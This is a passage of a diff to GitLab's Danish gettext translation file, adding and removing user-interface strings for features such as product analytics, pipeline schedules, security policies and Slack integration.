+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "Okt."
@@ -28718,6 +29074,9 @@ msgstr "En eller flere af dine afhængighedsfiler understøttes ikke og afhængi
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr "Driftbetjeningspanelet giver en opsummering over hvert projekts driftssu
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr "Optimer dit workflow med CI-/CD-pipelines"
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "Hvis du ikke allerede har gjort det, så skal du tilføje det nedenunder til din %{codeStart}.pypirc%{codeEnd}-fil."
@@ -29472,9 +29828,6 @@ msgstr "Beklager, dit filter gav ingen resultater"
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr "MÃ¥l-SHA: %{sha}"
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr "Forælder"
-msgid "Parent epic doesn't exist."
-msgstr "Forælderepic findes ikke."
-
-msgid "Parent epic is not present."
-msgstr "Forælderepic er ikke tilstede."
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr "Alle"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr "Inaktiv"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr "Angiv en kort beskrivelse til pipelinen"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Vælg hvilket indhold du vil se på et projekts oversigtsside."
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr "Bredde på layout"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr "Skal være et tal fra %{min} til %{max}"
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr "Tema for syntaksfremhævning"
msgid "Preferences|Tab width"
msgstr "Bredde på tabulatorstop"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr "Indstillingen giver dig mulighed for at tilpasse opførslen på systemla
msgid "Preferences|Time preferences"
msgstr "Præferencer for tid"
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr "Brug relative tidspunkter"
@@ -31396,6 +31758,9 @@ msgstr "Private grupper"
msgid "Private profile"
msgstr "Privat profil"
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr "Fortsæt"
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr "Produktivitet"
@@ -32083,6 +32649,18 @@ msgstr "Vis mere"
msgid "ProjectLastActivity|Never"
msgstr "Aldrig"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr "Udløs begivenhed når en pipelinestatus ændres."
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr "Udløs begivenhed når en wikiside oprettes eller opdateres."
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr "Udløs begivenhed når en problemstilling oprettes, opdateres eller lukkes."
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr "Konfigurer dine projektressourcer og overvåg deres helbred."
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "Kontakt en administrator for at ændre indstillingen."
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr "Brugere kan kopiere depotet til et nyt projekt."
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr "Serverfrit framework/JS"
msgid "ProjectTemplates|Spring"
msgstr "Spring"
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} vil være skrivbar for udviklere. Er du sikker?"
@@ -33475,6 +34071,9 @@ msgstr "MÃ¥ udsende"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr "Miljø"
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr "Vælg et miljø"
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr "Genindlæs side"
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr "Forny abonnement"
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr "Genåbn"
@@ -34568,9 +35170,6 @@ msgstr "Erstat alle etiketter med %{label_references} %{label_text}."
msgid "Replaces the clone URL root."
msgstr "Erstatter roden af klonings-URL."
-msgid "Replication"
-msgstr "Replikation"
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "Rapporteret %{timeAgo} af %{reportedBy}"
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,8 +36552,8 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
-msgstr "Du kan opsat en bestemt runner til at blive brugt af flere projekter men du kan ikke gøre den til en delt runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
+msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr "Søg efter projekt"
msgid "Search projects"
msgstr "Søg efter projekter"
-msgid "Search projects..."
-msgstr "Søg efter projekter ..."
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr "Handlinger"
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr "Tilføj regel"
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr "Ændr status"
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr "Opgrader for at håndtere sårbarheder"
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr "SÃ¥rbarhedsrapport"
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr "Din feedback er vigtig for os! Vi spørger igen om en uge."
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr "Vis filvælger"
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr "Antal indlogninger:"
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr "Indlogningsside"
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr "Kilde-IP"
msgid "Source branch"
msgstr "Kildegren"
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr "Start en %{new_merge_request} med ændringerne"
msgid "Start a Free Ultimate Trial"
msgstr "Start en gratis Ultimate-prøveperiode"
-msgid "Start a new discussion…"
-msgstr "Start en ny debat …"
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr "Start en kontrol"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr "Abonnementer"
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr "Licenseret til"
-msgid "SuperSonics|Manage"
-msgstr "HÃ¥ndter"
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr "kan kun indstilles én gang"
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr "kan kun indstilles med mere end %{percentage} %% forbrug"
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr "Terminal"
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr "%{name} fjernet"
@@ -40975,9 +41661,6 @@ msgstr "Der blev ikke fundet nogle testsager i testrapporten."
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr "Tests"
-
msgid "TestReports|There are no test cases to display."
msgstr "Der er ingen testsager at vise."
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "Forgreningsrelationen er blevet fjernet."
@@ -41380,6 +42066,9 @@ msgstr "Navnet på CI-/CD-konfigurationsfilen. En sti relativ til rodmappen er v
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr "Navnet på Jenkins-projektet. Kopiér navnet fra slutningen af URL'en til projektet."
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr "Der er ingen spamlogge"
msgid "There are no abuse reports!"
msgstr "Der er ingen misbrugsrapporter!"
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr "Der er ingen arkiverede krav"
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "%{issuableDisplayName} er låst. Kun projektmedlemmer kan kommentere."
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr "Denne %{issuable} er låst. Kun %{strong_open}projektmedlemmer%{strong_close} kan kommentere."
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
